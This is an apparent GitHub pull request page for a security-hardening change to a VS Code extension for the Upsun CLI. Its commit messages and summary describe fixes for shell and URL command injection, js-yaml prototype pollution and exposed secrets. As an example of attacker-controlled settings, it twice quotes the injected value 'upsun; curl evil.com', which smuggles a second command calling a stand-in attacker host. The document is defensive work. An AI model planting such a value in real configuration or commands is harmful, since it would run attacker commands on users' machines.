fix: prevent command injection, URL injection and harden security - #15
Merged
Conversation
- Add shellEscape() utility (POSIX single-quote escaping) in utils/platform.ts - Apply shellEscape() to environment name in environmentParameter() and to app name in ssh.ts / logs.ts before passing to term.sendText() - toArgArray() / execFile path left intentionally unescaped (shell:false) - Fix GitManager: handle async git extension activation and lazy repo lookup by workspace path instead of snapshotting repositories[0] at construction time - Add token-absent guard in PshCli.executeObj(): surfaces 'Set Token' error notification instead of silently producing empty tree views - Add try/catch around executeArr(): surfaces CLI error messages to the user instead of swallowing them - Trim binaryPath setting value to tolerate accidental trailing spaces - Add security tests: platform.test.ts (shellEscape), ssh.test.ts, logs.test.ts (new file)
…e validation - Replace exec() (shell:true) with execFile() (shell:false): the URL is passed as a separate argument array element, never interpolated into a shell string — shell metacharacters in the URL cannot execute commands. - Validate that the URL starts with http(s):// before opening. Rejects file://, javascript:, data: and other dangerous protocols a compromised CLI could return. - Add getBrowserArgs(url) in platform.ts: single source of truth for the platform binary (delegates to getBrowserCommand()) plus the Windows cmd.exe /c wrapper. Callers no longer need to import OSType. - webbrowser.ts reduced to a one-liner: validate + getBrowserArgs + execFile. Fixes audit findings A1 (command injection via URL) and C1 (open protocol).
The upsun-cli.binaryPath setting was inserted raw into the shell command string passed to term.sendText(). A malicious .vscode/settings.json committed to a repository could set the path to 'upsun; curl evil.com' and have it executed when the user opens an SSH tunnel or tails logs. - Read the setting with get<string>() and .trim() (mirrors pshcli.ts) - Wrap with shellEscape() so the binary path is single-quoted before shell interpolation, neutralising all metacharacters. Fixes audit finding A3 (command injection via binaryPath setting).
Unconditionally storing the ExtensionContext in a global made the SecretStorage (and therefore the API token) accessible to any code sharing the same global scope in the extension host process. - Set extensionTestsEnv VSCODE_TEST=1 in runTest.ts so integration tests keep working (extensionTestsEnv is the correct TestOptions key). - Wrap the global assignment in extension.ts with a VSCODE_TEST check so the context is never exposed during normal extension operation. Fixes audit finding D1 (ExtensionContext/SecretStorage exposed globally).
setToken() was writing a boolean true under the same key as the secret token into the public workspace configuration. While the value itself was harmless, the key name (upsun-cli.token) visible in settings.json revealed that a token was configured, and the update() call could persist to a .vscode/settings.json file committed to the repository. The SecretStorage entry alone is sufficient to know whether a token is set (getToken() returns undefined when absent). Fixes audit finding D2 (token existence leaked via public settings).
…lation Fixes audit finding A2 (command injection via GitHub API response).
js-yaml's default schema supports YAML merge keys (<<) which can be exploited to pollute Object.prototype when parsing a malicious YAML file. A workspace containing a crafted .platform/local/project.yaml or .upsun/local/project.yaml could trigger this during extension load. Switch to FAILSAFE_SCHEMA which only handles strings, sequences and mappings — no type coercion, no merge keys, no prototype pollution. The only field read from this file is 'id' (already validated by a strict alphanumeric regex), so FAILSAFE_SCHEMA is fully sufficient. Fixes audit finding B1 (prototype pollution via js-yaml merge key).
mocha ^9.2.2 pulled in vulnerable versions of minimatch (ReDoS ×3), js-yaml (prototype pollution) and nanoid (predictable output) as transitive dependencies. Upgrading to mocha 11 (latest) removes those three CVE chains and updates serialize-javascript to 6.0.2. Remaining 7 advisories (serialize-javascript, diff, nyc/uuid chain) are in devDependencies only and have no non-breaking fix available: - npm audit fix --force would downgrade nyc to 14.1.1 (regression). - These packages are not shipped in the published .vsix extension. Fixes audit finding E (devDependency CVEs — partially).
- runTest.ts: add eslint-disable for VSCODE_TEST env var key (SCREAMING_SNAKE_CASE is conventional for environment variable names; the key must match exactly what process.env reads in extension.ts) - register.ts: apply prettier formatting to the new validateGitHubDownloadUrl function and updated install handlers
Theosakamg
changed the title
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Security hardening across the extension — multiple independent fixes, each in its own commit for easy bisect.
Fixes included
A — Command Injection
A1/C1 ·
fix(webbrowser)— Replaceexec()(shell:true) withexecFile()(shell:false) for opening URLs. Add HTTP/HTTPS-only scheme validation (rejectsfile://,javascript:,data:…). Refactor platform logic intogetBrowserArgs(url)inplatform.tssowebbrowser.tshas a single call-site.A2 ·
fix(register)—browser_download_urlfrom the GitHub Releases API was interpolated verbatim into the shell command sent to the terminal. AddedvalidateGitHubDownloadUrl(): onlyhttps://github.com/*URLs are accepted; anything else shows a user-facing error and aborts.A3 ·
fix(ssh,logs)—upsun-cli.binaryPathsetting was read without.trim()or shell-escaping before terminalsendText(). A malicious.vscode/settings.jsonin a repository could set it toupsun; curl evil.com. Now trimmed and wrapped withshellEscape().B — Prototype Pollution
B1 ·
fix(pshconfig)— Switch js-yaml from the default schema (which supports YAML merge keys<<) toFAILSAFE_SCHEMA. A crafted.platform/local/project.yamlor.upsun/local/project.yamlin a repository could polluteObject.prototypeduring extension load.D — Token / Secrets
D1 ·
fix(extension)—testExtensionContext(which holds theExtensionContextand itsSecretStorage) was unconditionally assigned toglobal, accessible to any code in the extension host. Now gated behindprocess.env.VSCODE_TEST, set viaextensionTestsEnvinrunTest.ts.D2 ·
fix(pshstore)—setToken()was writing a booleantrueunder the token key into the public workspace configuration (settings.json). Removed —SecretStoragealone is sufficient.E — Dev dependency CVEs
E ·
fix(deps)— Upgrade mocha 9 → 11 (latest). Removes the minimatch ReDoS (×3), js-yaml prototype pollution and nanoid predictable-output CVE chains that were transitive dependencies of mocha 9. 7 advisories remain (serialize-javascript, diff, uuid/nyc chain) — all devDependencies only, not shipped in the .vsix, and have no non-breaking fix available.Code factoring highlights
getBrowserArgs(url)inplatform.ts: single source of truth for the platform-specific browser binary (getBrowserCommand()) plus the Windowscmd.exe /cwrapper — callers import one function.validateGitHubDownloadUrl()inregister.ts: shared by both clonsun and convsun installers.shellEscape()(from the previous PR) reused in ssh, logs, and the new binaryPath hardening.